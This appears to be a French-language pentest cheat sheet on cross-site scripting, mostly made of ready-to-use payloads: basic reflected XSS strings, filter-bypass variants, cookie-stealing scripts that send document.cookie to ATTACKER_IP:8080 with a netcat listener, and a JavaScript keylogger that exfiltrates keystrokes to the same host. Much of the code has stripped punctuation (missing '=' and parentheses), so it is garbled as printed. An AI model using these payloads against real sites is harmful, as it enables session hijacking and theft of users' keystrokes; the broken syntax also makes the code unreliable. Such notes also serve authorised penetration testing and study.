MDstable
NoteSnippetChecklistPlaybook

Cross-Site Scripting (XSS)

Payloads XSS reflected/stored/DOM, bypass filtres, vol de cookies, exploitation

snippetintermediate 2026-05-10 2 min read
xsswebexploitationpentestjavascript
00 Pre-engagement01 Recon02 Scanning03 Enumeration04 Exploitation05 Post-expl.06 Reporting

Objectifs

Exploiter des vulnérabilités XSS pour voler des sessions, exécuter du JS arbitraire ou pivoter vers d'autres attaques.

Payloads de base

bash
# Reflected XSS basique
<script>alert1</script>
<img srcx onerroralert1>
<svg onloadalert1>
><script>alert1</script>
><img srcx onerroralert1>
# Sans parenthèses
<svg onloadalert1>
# Dans les attributs
" onmouseover="alert1
javascriptalert1

Vol de cookies (session hijacking)

bash
# Envoyer cookie vers serveur attaquant
<script>documentlocation'http://ATTACKER_IP:8080/steal?c='documentcookie</script>
<img srcx onerror"fetch('http://ATTACKER_IP:8080/'+document.cookie)">
# Serveur de réception (attaquant)
nc -lvnp 8080

Bypass de filtres

bash
# Balises alternatives
<details open ontogglealert1>
<input onfocusalert1 autofocus>
<body onloadalert1>
# Encodage base64
<img src1 onerrorevalatob'YWxlcnQoMSk='>
# Mixte majuscules
<ScRiPt>alert1</sCrIpT>
<IMG SRCx ONERRORalert1>

Keylogger JS

bash
# Capturer les frappes clavier
<script>
documentonkeypressfunctione
  fetch'http://ATTACKER_IP:8080/log?k='ekey;
</script>
Checklist XSS0/8

Pièges fréquents

  • HttpOnly : cookie inaccessible en JS — XSS reste dangereux pour CSRF, redirect
  • CSP stricte : bloque <script> inline — chercher un gadget ou bypass nonce
  • SameSite=Strict : cookies non envoyés cross-site, impact CSRF réduit
  • Contexte : adapter le payload (attribut HTML, JS inline, CSS, URL)

Voir aussi

security/pentest/04-exploitation/02-sqli
OPS·BRAIN v1.075 notes · Securitylocal